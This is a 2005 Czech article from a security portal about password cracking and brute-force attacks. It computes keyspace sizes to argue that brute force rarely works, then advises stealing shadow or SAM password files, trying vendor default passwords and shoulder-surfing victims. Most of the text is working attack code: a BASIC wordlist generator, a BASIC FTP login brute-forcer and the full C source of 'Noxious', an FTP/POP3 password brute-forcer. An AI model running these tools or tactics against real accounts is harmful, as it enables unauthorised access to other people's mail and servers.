Hesla a bruteforce

Vložil/a el tenedor del ... [1], 13 Prosinec, 2005 - 18:04

- Cracking [2]
- Hacking [3]
- Programming [4]

Ochrana heslem spadá do kategorie Security by obscurity - pro vstup je potřeba nějaká znalost, která se předpokládá u oprávněného uživatele. Pro uživatele neoprávněného zůstává utajená. Lidi, a hackeři zvláště, mají tajemství sice rádi, ale to jen proto, aby je mohli rozlousknout.

Základním problémem, trápícím snad každého začínajícího rádobyhackera, je, jak hacknout tomu či onomu uživateli heslo k mejlu, administrátorské heslo do Windows, nebo nějaké jiné heslo. A jedním z prvních programů. se kterými se takový jedinec setká, bývá WWWhack nebo Brutus.

Pro ty méně zkušené, a pro ty, kdo se chtějí nadšeně a nekriticky vrhnout na louskání hesel pomocí svého počítače s bůhvíjak výkonným procesorem, jsem stvořil tento článek, vzniklý úpravou mých starších příspěvků na http://forum.security-portal.cz/ [5]

Takže jak na ta hesla?

Abeceda (ASCII) má 26 malých písmen. Počet hesel, která lze z písmen složit, je počet písmen na počet pozic. Jednopísmenných hesel může být 27, dvoupísmenných 27x27, třípísmenných 27x27x27. Jenže lidi nejsou volové, v heslech se mohou vyskytovat číslice, těch je deset, nebo různé paznaky. Pokud vaše heslo nevypadá jako b`f@l#m$p~s^v&z123, není to heslo.
Občas máme systémy case sensitive, Windows k nim původně nepatřily, ale všechny UNiXy ano. Velká písmena tak rozšiřují množinu použitelných znaků. Velkých písmen je taky 27, stejně jako malých. To jest celkem 95 použitelných znaků (a to jsme nepočítali s tím, že by si tam někdo dal češtinu, pak by počet písmen byl vyšší).
Pokud jde o desetipísmenné heslo, je počet kombinací 95^10, což je číslo s devatenácti nulami (skoro šedesát triliard).

Vraťme se pro jednoduchost úvahy k tomu, že oběť používá jenom malá písmenka bez ničeho. 27 znaků.
Odkud že víme, že heslo má přesně 10 znaků? Nevíme. Rozhodneme se tedy testovat nějakou rozumnou šíři, řekněme od čtyř do dvanácti znaků. Kolik různých hesel splňujících tyto parametry existuje?

Vezmeme si na pomoc nějaký programovací jazyk.
Pro jednoduchost jsem zvolil Chipmunk Basic, který je jednoduchý a snadno pochopitelný pro začátečníky, pokročilejším pak umožní snadno si program přepsat a upravit pro svoje oblíbené vývojové prostředí (RapidQ, Perl, ...). Jeho výhodou je příjemná cena "zdarma" a multiplatformnost - Apple, Windows, Linux - www.nicholson.com/rhn/basic/ [6] a hlavně 01d5k001 5ty13 (peklo ožívá, démon se probouzí, klasika sedmdesátých let se vrací).
Program se po vložení doChipmunk Basicu spustí povelem **run**.
Výpočet v ChipmunkBasicu pro obecný počet znaků a obecný rozsah hesla vypadá takto:

```
10 input "Velikost mnoziny znaku:";z
20 input "Heslo ma pismen od ";q
30 input "do ";w
40 if q > w then goto 20
50 r = 0 : for a = q to w : r = r+(z^a) : next a
60 print "Parametrum vyhovuje ";r;" hesel."
```

Pro 27, 4..12 je výsledek 1.5e17 (číslo se sedmnácti nulami). A to jsme se prosím vzdali všech paznaků, které v dobrém hesle ovšem očekáváme!
Zkuste si vynásobit, kolik let (století, miliónů let, miliard let, ...) budete potřebovat na vyzkoušení takového kvanta hesel. To dříve váš počítač zastará, než pár hesel lousknete.
Zkuste si do programu doplnit jiné vstupní údaje - zkuste zkracovat a prodlužovat heslo, přidávat a ubírat znaky, a sledujte, co to dělá s počtem vyhovujících hesel.

Co z toho všeho plyne?

Bruteforce je na nic.
Zvykněte si, že rozumně hacknutelní jsou jen ti, co si volí samozřejmá nebo slovníková hesla. Jakmile ale k takovému (ne)heslu přidají byť jedinou číslici nebo paznak, už nejsou dosažitelní slovníkovým útokem. U slovníkového útoku obvykle víte, kolik hesel slovník obsahuje, takže do popředí vyvstává spíš problém vhodné volby slovníku než co jiného. Časová náročnost je lineární s velikostí slovníku, takže snadno odhadnutelná. Dobrý zvyk je taky pamatovat si, jaká defaultní hesla dávají výrobci toho kterého počítače, routeru, operačního systému, případně programu (mailserver, firewall, ...), pokud nějaký nedbalý správce zapomene heslo změnit, máte u něj vstup volný. Pokud ale zvolené heslo není slovníkové (podívejte se na některé seznamy hesel z hacknutých serverů a zjistíte, že hesla ve valné většině slovníková jsou a hackují se relativně snadno), je lepší neztrácet čas a na bruteforce raději zapomenout.
Asi by se hodilo napsat, na co tedy bruteforce vlastně je.
Bruteforce je limitován rychlostí připojení, která není nekonečně rychlá, a počty kombinací.

Chci-li ho používat, pak musím:
1) obejít rychlost připojení
2) snížit počet možných kombinací hesel

Tedy, louskat hesla tak, že si stáhnu třeba soubor /etc/shadow nebo SAM soubor z Windows 2000/XP, PWL z Windows 95/98. A na lokálním počítači ho podrobit dejme tomu slovníkovému útoku. Nemusím čekat, až vzdálený počítač přijme login, heslo, a potvrdí (nebo naopak odmítne) spojení. Tím jsem získal rychlost. Zůstává ale ještě nutnost pocvičit si další schopnosti získáváním inkriminovaného souboru s hashovanými hesly.

Další možnost, na kterou je BF dělaný, je louskání částečně známého hesla.
Dejme tomu, že vidím, jak oběť ťuká desetiznakové heslo. Protože si dává pozor, abych to neviděl, všimnu si jen prvních pěti písmen, závěrečné číslice a toho, že při psaní zbylých znaků oběť mačkala dvakrát shift.

Takže si nadefinuju symbol pro neznámý znak, předdefinuju délku hesla na deset znaků, doplním znaky, kterých jsem si všimnul, obor dosazovaných znaků malá písmena + čísla bych měl obohatit (díky mačkanému shiftu) buď o paznaky nebo velká písmena. Vlastně tak hledám jen čtyřpísmenné heslo (čtyři znaky, kterých jsme si nevšimnul). To už je v nejhorším případě (všechny možné znaky) jen něco přes 80 milionů kombinací.

Zvykněte si na to, že existují i obtížně hackovatelné, relativně dobře zabezpečené počítače. Aspoň já jsem jenom rád, že existuje jednoduchý způsob, jak můžu sebe i svůj počítač ochránit před **blbci s WWWhackem** v ruce!
Když už je řeč o WWWhacku a příbuzných zrůdách, ukažme si generátorek "wordlistů". Přesněji, nejde o klasický slovníkový útok, kde se používají jen definovaná "smysluplná" slova, ale generátor passwordlistu pro bruteforce attack, který vygeneruje všechny kombinace hesel, které lze vytvořit ze zadané množiny znaků a se zadanými délkami. Přitom jen tak mimochodem počítá, kolik hesel dané parametry splňuje (to tu už jednou bylo).

Pokud v programu řádek "55 print p$" přepíšete na "55 print #1,p$", budou se hesla vypisovat do souboru, nikoliv na obrazovku, a vzniklý soubor pak lze použít jako wordlist při offline útoku (nebo i online, ale pak si někde sežeňte nesmrtelnost, protože to potrvá nejspíš věky).

```
9 cls : print
10 print "***********************"
11 print "* wordlist generator *"
12 print "* the Hacking Squad_  *"
13 print "***********************"
14 print : x$ = ""
15 print "Include lowercase [a,b,c,..,z]?" : gosub 100
16 if i$ = "1" then x$ = x$+"abcdefghijklmnopqrstuvwxyz"
17 print "Include uppercase [A,B,C,..,Z]?" : gosub 100
18 if i$ = "1" then x$ = x$+"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
19 print "Include numbers [1,2,3,..,0]?" : gosub 100
20 if i$ = "1" then x$ = x$+"0123456789"
21 print "Include punctation? [.,!?';:]?" : gosub 100
22 if i$ = "1" then x$ = x$+".,!?';:"
23 print "Include operators [+-*/&()<>=]?" : gosub 100
24 if i$ = "1" then x$ = x$+"+-*/&()<>="
25 print "Include symbols [@#$%^_{}[]|\`~]?" : gosub 100
26 if i$ = "1" then x$ = x$+"@#$%^_{}[]|\`~"
27 print "Include space [ ]?" : gosub 100
28 if i$ = "1" then x$ = x$+" "
30 print : print x$ : print len(x$)
31 print "Password length:" : input "From? (including) ";q
32 input "To? (including)";w : if q > w then goto 31
35 r = 0 : for a = q to w : r = r+((len(x$))^a) : next a
36 print "Passwords to generate:" : print r
37 print "Proceed?" : gosub 100
38 if i$ <> "1" then stop
39 dim e(w) : for a = 1 to w : e(a) = 1 : next a
40 open "wordlist.txt" for output as #1
42 for l = q to w
43 r = 1
44 if e(r) = len(x$) then e(r) = 1 : r = r+1
45 if r > l then goto 80
46 if e(r) = len(x$) then goto 44
47 e(r) = e(r)+1
50 p$ = ""
51 for b = 1 to l : p$ = p$+mid$(x$,e(b),1) : next b
55 print p$
56 goto 43
80 next l
85 close #1
99 stop
100 input "(yes/no):";i$
101 if i$ = "" then goto 100
102 if left$(i$,1) = "y" or left$(i$,1) = "Y" then i$ = "1" : goto 110
103 if left$(i$,1) = "n" or left$(i$,1) = "N" then i$ = "0" : goto 110
104 goto 100
110 if i$ = "1" then print "Yes."
111 if i$ = "0" then print "No."
112 return
```

Když už jsem v tom, kouknul jsem se na použití socketu v Chipmunku a napsal další program jako příspěvek k tématu "jak funguje WWWhack a podobné bruteforcery".
Program je v zásadě primitivní, měl by být pochopitelný, předvádí, jak je možné útočit na FTP server. Je postaven na tom, že FTP se po připojení na port 21 přihlašuje pomocí příkazů USER a PASS, server vám odpovídá pomocí hlášek, které jsou na začátku očíslované - 230 je OK, které vám pošle po přihlášení, 530 naopak označuje neúspěšný přihlašovací pokus.

Wordlistem se myslí textový soubor se seznamem hesel - ty lze buď najít na netu, nebo si je nechat vygenerovat předchozím programem.

```
5 print "Let's BF the FTP."
 6 input "Server URL:";server$
 8 input "Try username:";user$
 10 input "Wordlist file name:";wl$
 28 open wl$ for input as #1
 30 open "socket:"+server$,21 for input as #2
 32 open "socket:"+server$,21 for output as #3
 34 print "Press 'Q' to stop and quit."
 35 gosub 850 : print i$
 40 print #3,"USER "+user$
 42 gosub 850
 44 if len(i$) < 3 then goto 920
 46 if left$(i$,3) <> "331" then goto 920
 50 input #1,pass$
 52 if eof(1) <> 0 then goto 930
 65 print "User:";user$;" Password:";pass$
 70 print #3,"PASS "+pass$
 72 gosub 850
 75 if len(i$) < 3 then goto 920
 77 if left$(i$,3) = "530" then goto 40
 80 if left$(i$,3) <> "230" then goto 920
 85 print "****************"
 86 print "Password found:";pass$
 87 print "****************"
 800 goto 950
 850 input #2,i$ : if i$ <> "" then return
 851 b$ = inkey$ : if b$ = "q" or b$ = "Q" then goto 900
 855 goto 850
 900 print "Q pressed. Program terminated."
 910 goto 950
 920 print "Error. Something is wrong."
 925 goto 950
 930 print "End of wordlist reached."
 935 goto 950
 950 close #2 : close #3
 955 close #1
```

Nakonec, ať žije OpenSource, na disku se mi válí Céčkový zdroják bruteforceru Noxious od skupiny Nexus 9, tak ho sem dávám jako ukázku, že princip je stále tentýž a i při použití různých programovacích jazyků se nemění (jenom si všimněte, jak je program v Basicu kratší a tudíž lépe pochopitelný).

```
/* noxious.c
 ftp and pop3 brute forcer
 programmed by Kuno of Nexus 9
 Nexus 9 :: Macintosh Underground Development With Class.
 kdx://nexus9.no-ip.com:10700
 © Copyright Kuno 2004
 */
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <errno.h>
 #include <string.h>
 #include <netdb.h>
 #include <sys/types.h>
 #include <netinet/in.h>
```

```
#include <sys/socket.h>
#include <unistd.h>
char nexus9[] = "\x6e\x65\x78\x75\x73\x39"; /* behold */
char address[50];
struct hostent *he;
struct sockaddr_in their_addr;
int sockfd;
int port = 21;
FILE *fp;
char buf[1024];
int ulen, plen;
char appname[20];
char password[50], iuser[50];
char passwd[50], user[50];
int ftp = 0, pop3 = 0, connects = 0, first_attempt = 1, interval = 5;
void usage(char *appname);
void build_socket(char *address);
void do_connect_ftp(void);
void send_login_ftp(char *user, char *passwd, char *password);
void do_connect_pop3(void);
void send_login_pop3(char *user, char *passwd, char *password);
void usage(char *appname)
{
    printf("Usage: %s <host> <username> <wordlist> <protocol> [<interval>]\n",
appname);
    printf("\t<host> : the target ip\n");
    printf("\t<username> : username for logging in\n");
    printf("\t<wordlist> : path to the wordlist\n");
    printf("\t<protocol> : \"ftp\" for ftp and \"pop3\" for pop3\n");
    printf("\t<interval> : the ammount of seconds between every 5 tries, default
5\n");
    exit(1);
}
int main(int argc, char *argv[])
{
    printf("Noxious 1.0 - programmed by Kuno\n");
    printf("Nexus 9 :: Macintosh Underground Development With Class.\n");
    strcpy(appname, argv[0]);
    if(argc <= 4 || argc >= 7)
        usage(appname);
    if((strcmp(argv[4], "ftp")) == 0)
        ftp = 1;
    if((strcmp(argv[4], "pop3")) == 0)
    {
        pop3 = 1;
        port = 110;
    }
    if(ftp == 0 && pop3 == 0)
    {
        printf("You entered an incorrect protocol option\n");
        usage(appname);
    }
    if(argv[5])
        interval = atoi(argv[5]);
    strcpy(address, argv[1]);
    strcpy(iuser, argv[2]);
    snprintf(user, 50, "USER %s\n", iuser);
    ulen = strlen(user);
    if((fp = fopen(argv[3], "r")) == NULL)
```

```
    {
        printf("Error loading wordlist\n");
        exit(1);
    }
    while(!feof(fp))
    {
        fgets(password, sizeof(password), fp);
        if(ftp == 1)
        {
            build_socket(address);
            do_connect_ftp();
            snprintf(passwd, 50, "PASS %s\r", password);
            plen = strlen(passwd);
            plen += 1;
            send_login_ftp(user, passwd, password);
        }
        if(pop3 == 1)
        {
            build_socket(address);
            do_connect_pop3();
            snprintf(passwd, 50, "PASS %s\r", password);
            plen = strlen(passwd);
            send_login_pop3(user, passwd, password);
        }
        close(sockfd);
        if(connects == 5)
        {
            sleep(interval);
            connects = 0;
        }
    }
    fclose(fp);
    return 0;
}
void build_socket(char *address)
{
    if ((he=gethostbyname(address)) == NULL)
    {
        herror("gethostbyname");
        exit(1);
    }
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(port);
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("socket");
        exit(1);
    }
}
void do_connect_ftp(void)
{
    if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ==
-1)
    {
        perror("connect");
        exit(1);
    }
    recv(sockfd, buf, sizeof(buf), 0);
```

```
    if(first_attempt == 1)
        printf("Banner: %s\n\n", buf);
    if(buf[0] == '1' && buf[1] == '2' && buf[2] == '0')
    {
        printf("%s", buf);
    }
    bzero(buf,1024);
    first_attempt = 0;
    connects++;
}
void send_login_ftp(char *user, char *passwd, char *password)
{
    send(sockfd, user, ulen, 0);
    recv(sockfd, buf, sizeof(buf), 0);
    if(buf[0] != '3' && buf[1] != '3' && buf[2] != '1')
    {
        printf("Username not ok\n");
        exit(1);
    }
    bzero(buf,1024);
    printf("Trying: %s", password);
    send(sockfd, passwd, strlen(passwd), 0);
    recv(sockfd, buf, sizeof(buf), 0);
    if(buf[0] == '5' && buf[1] == '0' && buf[2] == '0')
    {
        printf("Unknown command, something is wrong.\n");
        exit(0);
    }
    if(buf[0] == '2' && buf[1] == '3' && buf[2] == '0')
    {
        printf("Login Successful!\n");
        printf("The password is %s", password);
        fclose(fp);
        exit(0);
    }
    bzero(buf,1024);
    bzero(passwd, 50);
}
void do_connect_pop3(void)
{
    if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ==
-1)
    {
        perror("connect");
        exit(1);
    }
    recv(sockfd, buf, sizeof(buf), 0);
    if(first_attempt == 1)
        printf("Banner: %s\n\n", buf);
    if(buf[0] == '-' && buf[1] == 'E' && buf[2] == 'R' && buf[3] == 'R')
    {
        printf("%s", buf);
        exit(1);
    }
    bzero(buf,1024);
    first_attempt = 0;
    connects++;
}
void send_login_pop3(char *user, char *passwd, char *password)
```

```
{
    send(sockfd, user, ulen, 0);
    recv(sockfd, buf, sizeof(buf), 0);
    if(buf[0] == '-' && buf[1] == 'E' && buf[2] == 'R' && buf[3] == 'R')
    {
        printf("Username not ok\n");
        exit(1);
    }
    bzero(buf,1024);
    plen += 1;
    printf("Trying: %s", password);
    send(sockfd, passwd, strlen(passwd), 0);
    recv(sockfd, buf, sizeof(buf), 0);
    if(buf[0] == '+' && buf[1] == 'O' && buf[2] == 'K')
    {
        printf("Login Successful!\n");
        printf("The password is %s", password);
        fclose(fp);
        exit(0);
    }
    bzero(buf,1024);
    bzero(passwd, 50);
}
```

No a to by mohlo být zatím k tématu všechno.

URL článku: https://www.security-portal.cz/clanky/hesla-bruteforce

Odkazy:
[1] https://www.security-portal.cz/users/el-tenedor-del-diablo
[2] https://www.security-portal.cz/category/tagy/cracking
[3] https://www.security-portal.cz/category/tagy/hacking
[4] https://www.security-portal.cz/category/tagy/programming
[5] http://forum.security-portal.cz/
[6] http://www.nicholson.com/rhn/basic/